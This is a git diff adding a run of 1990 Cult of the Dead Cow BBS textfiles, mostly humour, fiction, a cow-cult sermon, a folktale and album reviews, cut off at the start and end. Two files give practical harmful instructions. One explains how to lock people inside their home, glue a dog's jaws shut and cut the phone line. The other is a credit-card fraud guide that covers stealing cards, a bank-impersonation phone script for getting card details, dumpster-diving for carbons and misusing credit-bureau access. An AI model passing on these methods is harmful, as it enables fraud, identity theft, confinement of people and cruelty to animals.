The dumpster should still +be in a half-lifted position, since you jammed the lever. Now get in the truck +and drive home. You should have made a neatly done concrete base for your +newly owned dumpster. If not, anywhere in the yard will do. If your 'rents +get pissed off, just lock 'em up in the dumpster for later use. You're not +done yet by any means! You've got a HOT dumpster truck on your hands. Now +there are many uses for this bold machine, but here are a just a few concepts: +Run it into the police station with a threat note attached, sink it to the +bottom of the lake, or just sell it to one of your neighbors. Anyhow, +congratulations! You now have stolen a dumpster! + + +How To Lock Someone In Their Own House +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + This one, I have done before. It is really a lot of fun, and can turn +those boring Sunday nights into a fun filled vacation. You will need some rope +on this one, and a few other things. Let's get started with the doors. For +the front door; take a length of rope, tie it around the doorknob and then tie +the other end to a tree. Doors open into the house, so they won't be able to +pull it open. If their aren't any trees, just tie it to a support beam or a +mailbox. Next, you have to get the other doors. Following the example, come +up with your own stuff. Ok, we don't want the victim to know what's going on, +so we have to cover the windows somehow. Just get some of that wood glue +that you see lying around when they're building a house and glue a piece of +plywood over their windows. Now, let's take care of any sliding doors - just +take a pole or anything and stick it in the gap so the door won't open. It's +the same thing some people use to lock them from the inside. This would be +a good time to glue the mail slot shut, so they can't peek out. If there are +any dogs in the yard, just give 'em a bone with glue all over it... that will +glue his jaws together so he can't bite OR bark. I've pretty much covered it +all; oh yeah, cut the phone line. + + Now, they are totally locked in from the outside world. If they have a +CB, it might not be as effective. The next morning, alert your neighbors and +watch the suckers try to get out. The neighborhood will never treat them the +same again.... + + +Watch for other bullshit files on a BBS near you! + +Oh, and a little note about myself. The reason my alias changed from Avenging +Rebel to The Dark Static is because someone else was using the former alias, +and I found out he's had it a few years longer than I've had it. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by The Dark Static. 02/07/88-04/03/90-#127 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0128.txt b/textfiles.com/groups/CDC/cDc-0128.txt new file mode 100644 index 00000000..c7158e49 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0128.txt @@ -0,0 +1,128 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Death and The Bovine + by Lady Carolin, + priestess of the Cow + + on this day, the eve of December, the year of Our Cow 1989, annus bovini. + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Our time on this blessed sphere is short within the confines of each +lifespan. Lo, even as our Great Mother, Elsie, She-Who-Is-And-Shall- +Forevermore-Be, strives with toil and sweat to protect us; yea the Children of +the Cow are frail, ephemeral. The arms of our Holy Mother embrace us tightly, +possessively. But all of us, yea, even he who walks the path of obedience, +will in our appointed time slip through Her holy hooves, to fall into the quiet +slumber of death. Each lifespan ends thus this way, as light fades to dark- +ness, with only the briefest spark preceding the final end. All turns to black +as the lost one returns again to the Lair. + + The Children of the Cow who are left behind mourn. Thy bitter tears fall +upon the earth, poisoning it. The Cult processions follow the hearse, that +grand chariot of the unliving, to that time-honored ritual we call funeral. +Throughout the ceremony, the cries of the bereaved may be heard. At last the +body of thy departed Cult member is laid to rest. The corpse is lowered into +the dark hole, into the holy earth. The Sacred Womb of Our-Mother-Who-Is-The- +Earth opens to the corpse of thy friend, welcoming it. + + After many moons, the body of thy loved one will return to the natural +state from whence we all began. From the corpse of thy bosom friend will the +plants and the trees of the Earth obtain their nourishment. Life from death, +as death is from life. + + Soon thine eyes will see the holy cows, representatives of God and Goddess +upon this earth, grazing in the pastures and in the fields. Know thee now, it +is the body of thy dead friend they are feasting upon. And through them, so is +true of Bob and Elsie, Most-Revered-Ones-Upon-High. + + The long tongues of the cows reach out, pulling the grass to them. The +holy tongues caress the stalks of grass, moistening them with their holy +spittle. The teeth of the holy cows lovingly grind the grass-that-was-they- +friend. The grass is deposited into their four holy stomachs, repositories of +All That Is Good. + + Later, the holy ones will lay upon the ground. This act, this ritual, +places them closer to Our-Mother-Who-Is-The-Earth. The cud that was once thy +Cultee creeps slowly into their throats, re-entering their mouths. It is now +that the Sacreds-Upon-Earth perform the magick we all are indebted to them for. +As they chew the cud, they are experiencing the life, the soul, the essence of +thy friend. They savor the taste as they slowly chew. Know ye that they taste +the very being of what was and what shall again be. The very fabric of the +soul resides for a short while in their sacred mouths. + + Cow and Cultee become one, in a glorious union of body and soul. The Cow +lifts her head to the sky, and with all the force in her being, breathes out. +She releases the soul, the essence of thy beloved; and as this soul travels up +into the heavens, Our-Mother-Who-Is-The-Sky receives it with glad arms. Far +below, on the Earth from which the soul has just departed, the Cow utters forth +the most sacred mantra of them all, MOO. Thus is the ritual completed. + + Thou wilt note that the Most Sacred to this enlightened land is Kali, who +is much like our own precious Goddess. Kali is the Good Mother, and also the +Bad Mother. She gives birth, She brings forth life; yet it is She who decides +the lifeline of Her children, it is She who may choose to swallow her babies. +At the moment of the deaths of each being, Kali-Bob dances wildly, +enthusiastically, upon the bodies of the dead. + + All is as the Cow decreed. All is good. In death the devotee becomes one +with the Am. The devotee floats in the infinite blackness of the Void. While +in that great darkness, the soul waits for room to be made upon Earth so that +it may live again. Each death upon our Earth means that one being will be +allowed another lifespan. To live, to love, to learn, to die. Kali-Bob mourns +the deaths of all Her babes, yet She awaits with outstretched arms the return +of personalities She has not seen for many countless thousands of moons. In +Her glee She dances upon the bodies of the dead, to make room for the new. It +is this dancing which crumbles bodies, turns them again to dust. The holy feet +of the Goddess are strong, yea, the sacred hooves of the Goddess are sharp. + + While thou still breathe, the Cow in all Her aspects enjoys thy presence, +celebrates thy being; yet She awaits the return of others She misses. She will +welcome them upon their arrival, and as she embraces the newly born, she +releases the newly dead. Kali-Bob, and all we-who-walk-the-Earth, await the +day when She Herself may be reborn; the day when all again, human and Cow, will +be one. Cow will unite with Roach, and through Her, we will join with the +Roach, and be fulfilled in Him. The Am shall again Be. On that day all will +graze together in the eternal pasture, in peace and in harmony. Long may the +Cow Song ring clearly, loudly, from the pastures of love. + + Let the Cow be reborn; let the Day be soon. While we wait, let the +Prophesy of Cow spread throughout the globe, may Her message be brought to all. + + Savor the sweet Earth while thou still walk it, enjoy its fruits and +essence. + + Breathe deeply of the air of this good Earth, tired souls; breathe deeply. + + Soon will come the Day when none shall die. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by Lady Carolin. 12/89-04/03/90-#128 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0129.txt b/textfiles.com/groups/CDC/cDc-0129.txt new file mode 100644 index 00000000..a2446118 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0129.txt @@ -0,0 +1,188 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Credit Card Fraud Ideas + by L.E. Pirate + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Hey there. L.E. Pirate here. Here's some ideas and info I've scraped up +over my carding days that might just help you. Everything contained here will +work and has been tried recently to check to see if businesses are still +ignorant. + + +-======- +ORDERING +-======- + + If you place an order to a big company (we'll use BEST as an example) +from their catalog, they will ask for the catalog number. On the back of the +catalog above the address there is a 6-8 digit number that has the info about +the person who they sent the catalog to. If you received the catalog in the +mail then using this card is not only foolish, but can result in a terrible +situation. All they have to do is track down who they sent the catalog to and +nail them. If the catalog is sent to you under your parents name, or your own, +then you are generally screwed and wouldn't even think about ordering from BEST +if they demand your catalog ID number. The solution is simple. Tell the +operator that you picked up the catalog in a doctor's office or dentist's, +etc., and there is no number on the catalog. They will always believe it, so +good for you. + + +OBTAINING CARDS: A FEW WAYS + +-==========================- +Subsection: CASING FOR CARDS +-==========================- + + If you need that new CD player, surfboard, etc. but you don't have the +time to order it and you want it the next day, go casing! (Read other xORG +files on how to case.) Go around looking for open cars or houses. Search the +house for PLASTIC, yes, the actual plastic card. It will usually take the +owner 24-48 hours to notice it is missing, or even longer. Do not take any +cards you don't need (like Diner's Club, etc...), just take MC/VISA, cash, and +their phone number. You might also want Exxon, Sunoco, gas cards to fuel up +your car for the day, or whatever. But only take what you need. Get a VISA or +MC and head to the local store. Make sure you have another card for ID, as in +you take a VISA to pay for it and a MC for identification. Use it quickly +(like within 24 hours) before it is reported as stolen. + +-===========================- +Subsection: STUPID HOUSEWIVES +-===========================- + + This is so easy. You go through someone's garbage and look for bank info +and stuff like that.... anything that will have the name of their bank on it. +The next day, take off school or work, whatever, and give the house a call. +Make sure you get a house that the man goes to work and the wife stays home +and cooks and cleans, like a real woman... ha (very sexist, eh?). Call up and +do this: + +B=BITCH Y=YOU + +RING,RING +B: HELLO? +Y: HELLO THERE. THIS IS MARTY FINKLESTEIN FROM 1ST NATIONAL BUTTHOLE TRUST + (or whatever their bank name is). IS THIS MRS. ABE DICKNOSE? +B: YES? +Y: SORRY TO BOTHER YOU. WE HAVE HAD A MIXUP IN OUR COMPUTER RECORDS, IT SEEMS + THAT YOUR CREDIT FILE HAS BEEN ACCIDENTALLY WIPED OUT. +B: OH MY. IS IT SERIOUS? +Y: NOT REALLY. WE NEED SOME HELP FROM YOU, THOUGH. WE HAVE LOST YOUR CURRENT + CREDIT CARD INFORMATION. IF YOU COULD PLEASE HELP TO MAKE THIS EASIER, YOU + COULD EITHER STOP BY THE BANK TODAY OR TOMORROW OR YOU COULD GIVE ME YOUR + CURRENT CREDIT CARD INFORMATION ON THE PHONE. WHICHEVER YOU PREFER. + + If they want to stop by the bank, just set up a fake appointment and hang +up... they will, in most cases, be too busy to stop by, and will just give you +the info right on the phone. + + This method has worked many times before. Try it out, it's a very easy +and simple way to do it. + +-==================- +Subsection: TRASHING +-==================- + + Ugh. This is the dirtiest way to obtain info. Find a place that accepts +cards and go into their garbage dumpsters. Try going to florists or places +that don't put out messy shit. Don't go to food places, etc. You won't find +anything you want there and most of the info will be covered with food and +other crap anyways. Try florists because all you have to sift through is +sweet, lovely, colorful flowers (isn't that cute?). Look generally for black +carbon paper or printouts. If you go to insurance places or car dealerships, +this can land you computer printouts with TRW and CBI information and account +numbers on it, which are very valuable to an experienced hacker. Look out for +half-carbons. They are carbon paper that have perforated edges down them so +they can easily be ripped in half and discarded. What most places do, is throw +one side into one can and the other side into another... so take both bags and +put them together at home. Sure it will take a while, but it's worth it. The +best time to trash is at night. It would be very handy to have a small, +compact flashlight that you can use to go through the dumpster instead of just +feeling around. I have found myself in trash cans many times, and when I get +caught in there, I go, "Uhhh, have you seen my baseball?".... They'll usually +take you for stupid, or even act like a bum, that will work. + +-============================- +Subsection: INSIDE CONNECTIONS +-============================- + + Make a friend that works at a place that takes a lot of cards. Instead of +throwing them away, ask him for them. This guy I knew used to keep them all +and give them away. If you can't find anyone, get yourself a job somewhere. +The best place to work is a shoe store like Kinney Shoes or Athlete's Foot. + + +-=============- +CREDIT CHECKING +-=============- + +The simplest way to get credit checker numbers is go into record stores. +Last weekend I walked into a record store in Delaware and bought the new +WarZone album. Right on the wall in big, girly, red letters was. + "OUR MERCHANT NUMBER: XXXXXXXX. OUR 800 NUMBER: 1-800-XXX-XXXX" +It had listings for VISA/MC/DISCOVER and just about everything else. I +pulled out my trusty pen while the chick was opening the register and I +wrote it on my hand. I had just enough time to copy down the VISA/MC one +when she looked up. Try record places, army/navy stores, shoe stores, and +places that need to check credit on cards. Remember, though, that checking the +credit on a card actually deducts that amount from the card (since they assume +the business is checking during a purchase). Check for small amounts, just to +see if the card is still good... you don't want to make it useless without +getting anything! Or, you might. Whatever. + + +-========- +EXPLOITING +-========- + + So, you found a driver's license lying in the street while walking +downtown, eh? You think to yourself, "BIG DEAL." Nononononono. Go trash at +an insurance place and get ahold of CBI and TRW printouts. The printouts +will contain everything buffered when the person called CBI or TRW and will +even include an access port number. Call up CBI or TRW and enter exactly what +is on the printout; except in place of the person's name on the printout, put +the name of the person and address, etc. in the computer and buffer what is +shown. Mail the information - the driver's license info, the address, card +numbers, credit info... everything to the person. Find your own way to exploit +it to your own advantage. + + +-=====- +CLOSING +-=====- + + Well, that is just some short info on some various CCF things you can do +and things that can help you. Hope it was educational, not to mention +thrilling... + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by L.E. Pirate. 89-04/03/90-#129 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0130.txt b/textfiles.com/groups/CDC/cDc-0130.txt new file mode 100644 index 00000000..0d7213ab --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0130.txt @@ -0,0 +1,122 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... My Day With The Dentist + by Psychedelic Warlord + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + My appointment was set for 2:30 at Mr. Wilbanks' general dentistry office. +I walked in the door at about 2:13 and after signing in, I sat down to read a +magazine (by the way, I tore out all the subscription cards). I was called in +a little early because the place was practically empty, and there were no other +people waiting. + + "Robert?" + + "Yes.." + + "Dr. Wilbanks will now see you." + + I've been going to Dr. Wilbanks since I was a little kid. He always asks +me the same questions, and I give him the same godamn answers every time. + + "Hello, Robert. How's the family?" + + "Ohh... fine, I guess." + + "Still playing soccer?" + + "No. I quit playing soccer about 7 years ago. Remember?" + + "Yes, yes. Robert, you're one of my favorite patients. I've always been +nice to you, haven't I?" + + "Ye..." + + "So you know that I'm not TRYING to hurt you?" he asks, as he pulls out a +shot that's about as big as Minnesota. + + "Uh..." + + "Ok then. Nurse, blah blah blah blah." + + "Yes, Dr. Willbanks" + + The nurse proceeds to put some kind of gel on my gums (I guess to numb +them so I wont feel the shot he's about to give me). After it's been set for a +while and I can barely feel the right side of my mouth; he pulls out the shot +that looks to be the size of Minnesota. + + "Ok. This will only hurt a second. You know, Robert, you've always been +one of my favorite patients. I won't try to hurt you one bit." + + I kind of grunt for an answer, because by now I have about 20 tools in my +mouth and I can see that he's about to ram that shot of his down my throat. + + "Ok. This won't hurt a bit..." + + "Owwwwwwwwww! Jesus Christ!!!!!" + + "See? That's just fine. So what position do you play on your soccer +team?" + + ** Warning, this next part is kind of gross, you may want to abort ** + + By now I'm drooling all over the place, because their godamn saliva- +sucker-upper isn't working too well; and I can't feel the right side of my face +at all. + + Of course, I can't talk because the right side of my face is silly putty +and he now has about thirty tools in my mouth. So, of course, he begins to ask +me some more questions. + + "Do you ride bicycles at all, Robert?" + + "Ewww... yohhh" + + "Nurse, hand me that hammer and chisel. Thank you. All right, Robert. +This won't hurt a bit." Clank, clank, clank... woosh... "Oops. Sorry about +that, Robert." + + It seems he was hammering away and he slipped (he's an older gentleman), +so now I'm missing half of my lower lip. + + "I'm sorry about that Robert. You know I didn't mean to do that. We'll +have you fixed up in a jiffy." + + A jiffy? Jiffy? Holy Jehova on a rusty nail! Well... after that it +wasn't so bad. He got in a few more, "So how do you like soccer?" type +questions, but I just drooled on him. + + Yeah. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by Psychedelic Warlord. 1988-04/03/90-#130 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0131.txt b/textfiles.com/groups/CDC/cDc-0131.txt new file mode 100644 index 00000000..9279cd82 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0131.txt @@ -0,0 +1,97 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Three Cows + discovered by Lady Carolin + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This story comes from an old English folktale which Lady Carolin found in +a book of such fairy tales. We hope you dig this boffo-amazing-groovy bit of +cow lore.... +_______________________________________________________________________________ + + + There was a farmer, and he had three cows; fine fat beauties they were. +One was called Facey, the other Diamond, and the third Beauty. One morning he +went into his cow shed, and there he found Facey so thin that the wind would +have blown her away. Her skin hung loose about her, all her flesh was gone, +and she stared out of her great eyes as though she'd seen a ghost; and what was +more, the fireplace in the kitchen was one great pile of wood-ash. Well, he +was bothered with it; he could not see how all this had come about. + + The next morning, his wife went out ot the shed, and gasped with +amazement! Diamond was for all the world as pathetic a looking creature as +Facey - nothing but a bag of bones, all the flesh gone, and half a rick of wood +was gone too; but the fireplace was piled up three feet high with white wood- +ashes. The farmer decided to watch the third night; so he hid in a closet +which opened out of the parlor, and he left the door just ajar, that he might +see what passed. + + Tick, tick, went the clock, and the farmer was nearly tired of waiting; he +had to bite his little finger to keep himself awake, when suddenly the door of +his house flew open, and in rushed maybe a thousand pixies, laughing and +dancing and dragging at Beauty's halter till they had brought the cow into the +middle of the room. The farmer really thought he should have died with fright, +and so perhaps he would had not curiosity kept him alive. + + Tick, tick, went the clock, but he did not hear it now. He was too intent +staring at the pixies and his last beautiful cow. He saw them throw her down, +fall on her, and kill her; then with their knives they ripped her open, and +flayed her as clean as a whistle. Then out ran some of the little people and +brought in firewood and made a roaring blaze on the hearth, and there they +cooked the flesh of the cow - they baked and they boiled, they stewed and they +fried. + + "Take care," cried one, who seemed to be the king, "let no bone be +broken." + + Well, when they had all eaten, and had devoured every scrap of beef on the +cow, they began playing games with the bones, tossing them one to another. + + One little leg-bone fell close to the closet-door, and the farmer was so +afraid lest the pixies should come there and find him in their search for the +bone, that he put out his hand and drew it in to him. Then he saw the king +stand on the table and say, "Gather the bones!" + + Round and round flew the imps, picking up the bones. "Arrange them," said +the king; and they placed them all in their proper positions in the hide of the +cow. Then they folded the skin over them, and the king struck the heap of bone +and skin with his rod. Whisht! up sprang the cow which lowed dismally. It was +alive again; but alas! As the pixies dragged it back to its stall, it halted +in the off forefoot, for a bone was missing. + + "The cock crew, + Away they flew," + + and the farmer crept trembling to bed. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications 04/03/90-#131 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0132.txt b/textfiles.com/groups/CDC/cDc-0132.txt new file mode 100644 index 00000000..11c1fddb --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0132.txt @@ -0,0 +1,69 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Wild One + by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + In the abyss there is only one strength. The power of the mind is of +little use here, the power of the body is even more useless. The only strength +in the abyss is the knowledge that there is no strength. Even the quantum +strands that hold us together are weak here. The merging of lost souls is a +common occurrence. Two strands become intertwined and meld into a single +strand over time. Time is not a standard in the abyss. Nobody is in a hurry. +There is nowhere to go and no way to get there in the abyss, at least until The +Wild One came along. + + The Wild One came from nowhere at no time. The abyss was chaos as +usual. The Wild One rejected the merging of souls. It was itself, there would +be no intermingling of souls this time. The easy chaotic sludge of the abyss +was shuddered at the defiance of this being. The Wild One was order, an island +of sensibility in the ocean of irrationality. + + The chao-sludge began to coalesce into random pieces of order. Tele- +phones appeared in the nothingness, only to melt away into a fern or a rock. +The Wild One was amused. It happened like this all the time. The islands of +order gravitated towards each other at great speeds. When they came together, +they melded together in a white hot sphere of matter. When all of the order +came together, The Wild One yawned and waited for the inevitable. + + The ball of matter exploded into the chaos, shoving it outward. The +matter traveled away from the explosion, forming what is called "the universe." +The Wild One watched for the instant that was required to complete the process +of creation. The Wild One gathered the pieces of itself that broke away in the +explosion and exited the abyss as it had come, looking for a new pocket of +chaos. + + As it left, the hands of time were set free. It was the beginning of +the end. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by Obscure Images. 01/11-04/03/90-#132 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0133.txt b/textfiles.com/groups/CDC/cDc-0133.txt new file mode 100644 index 00000000..5768869f --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0133.txt @@ -0,0 +1,159 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... White Rodent's Short Story Lump + by White Rodent + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +-"The Soldier Ants" + + It was a lovely June morning when my family and I went for a picnic in the +meadow behind our house. We had just started serving the potato salad when +Aunt Sally pointed skyward and said, "Look." + + We did. + + There, silhouetted in the sky were the soldier ants. Paratroopers, as we +later discovered, from the 32nd Airborne. Within seconds, they secured their +perimeter. Then they got to work stripping down the meadow. It took them +twenty-two minutes, I know because my dad let me borrow his watch. + + When they finished, they thanked us for our cooperation and headed off +into the sunset, taking with them whatever wasn't nailed down. + + My dad sent me back to the house to get more potato salad. + +_______________________________________________________________________________ + + +-"The Problem With Names" + + There once was a dog named Zephelixan Teb who killed himself because he +had such a stupid name. + +_______________________________________________________________________________ + + +-"The Poor Kid Who Couldn't Spell" + + Once upon a time there was a poor kid who couldn't spell. Usually, this +did not bother him, but occasionally someone would rag on him about it. One +day he had had enough. + + He said, "Are you so insecure about your own life that you must seek out +my frailties and pour salt over them? Must you taunt me for something as +insignificant as spelling?" + + "Yes," they said. + +_______________________________________________________________________________ + + +-"Majority Rules" + + Most people die eventually. + +_______________________________________________________________________________ + + +-"Sometimes" + + Sometimes I watch TV. I see senseless violence and gratuitous sex, but I +don't mind. I see sitcoms that use tired plots to squeeze a chuckle out of me, +but I don't mind. I see stupid music videos of garbage pop bands made up +primarily of teenagers, but I don't mind. I see the news and the violence that +is synonymous with today, but I don't mind. I see documentaries telling me +that there will be no rain forests by the year 2000 or that billions will die +of starvation in half that time, but I don't mind. + + But if I see one more fucking commercial with Vern in it, someone's gonna +die. + +_______________________________________________________________________________ + + +-"Excuses" + + I ate a pigeon today + I don't know why + I just did, that's my excuse + I don't go around analyzing + everything I do + Anyone who does is sick + and needs help + +_______________________________________________________________________________ + + +-"The Practical Joke" + + It was the Christmas of '82 when the brown box arrived. It was for me, +but had no return address. On the top was a large white envelope with the +words "Do Not Open Until X-Mas" scrawled across it. + + I put it under the tree. + + Christmas morning. Every present I had opened had been clothes. It was +very depressing and I only had two gifts left. Only two more chances to get +the ghetto blaster that I had asked for. + + I grabbed the box with brightly colored paper, tore through it and peeked +inside. + + "What did you get, Gavin?" asked my mother. She knew perfectly well what +I had just opened. She gave it to me. + + "It's a sweater," I replied through clenched teeth. + + Bitch. + + Only one box left, the brown one with the envelope. It was about the +right size and weight. It just might be. It just might. + + My heart started pounding. + + I opened the envelope and read the card within. "I hope you get a bang +out of this." + + Yes, this was it. This was the ghetto blaster! I pried open the top with +my fingers. + + The roar was deafening. + + So deafening, in fact, that I lost thirty percent of my hearing. I also +lost my legs, both my hands and one eye. + + It seems like some practical joker mailed me a bomb for Christmas. + + What some people won't do for a laugh. + + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 The People Farm.......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1990 cDc communications by White Rodent. 12/26/89-04/04/90-#133 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0134.txt b/textfiles.com/groups/CDC/cDc-0134.txt new file mode 100644 index 00000000..f61eaf2e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0134.txt @@ -0,0 +1,144 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... cDc core #5 + original album reviews + by The Pusher + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +BAD BRAINS: The Youth Are Getting Restless (Caroline) + + To be honest, while all the metal people are now getting into these guys, +a lot of hardcore people and I are getting tired of their shit. The Jah crap, +the 18 dollar shows, the bogus rationalization for homophobia, I don't think +the music makes up for it anymore. This is a 16 song live album (half of which +were on the last live album two years ago!) recorded in Amsterdam, 1987. A +pure money-maker, simple as that. + + +BLACK FLAG: I Can See You (SST) + + A reunion album? No. A live tape found in the basement? No. An easy +way to make lots of money off Flag fans? Yes. One song, "Kickin' & Stickin", +I've never heard before. The other three songs (yes, this is only FOUR songs) +are from the last studio album "In My Head", the slow and acidy stuff. I can't +hear any difference between the versions on that and on this new thing. + + +DEAD MILKMEN: Metaphysical Graffiti (Enigma) + + Their album title may come from LED ZEPPELIN, but the Milkmen are still +doing that same wimpy, jazzy, punk rock. And I don't mean that as a negative +comment, this is much better than their last LP, the disappointing +"Beelzebubba". Arguably, this is up there with their first LP, the immortal +"Big Lizard In My Backyard". Stand out tracks here are the hilarious "Do The +Brown Nose", and "The Big Sleazy". Not to mention the last song, the +appropriately titled "Anderson, Walkman, Buttholes, and How!", a BUTTHOLE +SURFERS type jam with warped vocals telling us some kind of story. + + +FUGAZI: Repeater (Dischord) + + I thought, and I thought, and I thought, but I can't really come up with +anything else to say about FUGAZI. "Too good for words", I guess. What I can +say is that if you don't like this, you probably are very close-minded about +music. By the way, Ian MacKaye is THE rhythm guitarist. + + +HOLY ROLLERS: As Is (Dischord) + + The only reason I bought this album was because it was on Dischord. +Whatever the hell your reason, get this. This album is one of the best I've +heard this year, and without a doubt better than all the other Dischord acts +like SOULSIDE, FIRE PARTY, and IGNITION. Only the mighty FUGAZI can top this +three-piece. It's DC post-hardcore meets Sub Pop with sporadic thrash parts +and hypnotic vocals. I really got into "Ode to 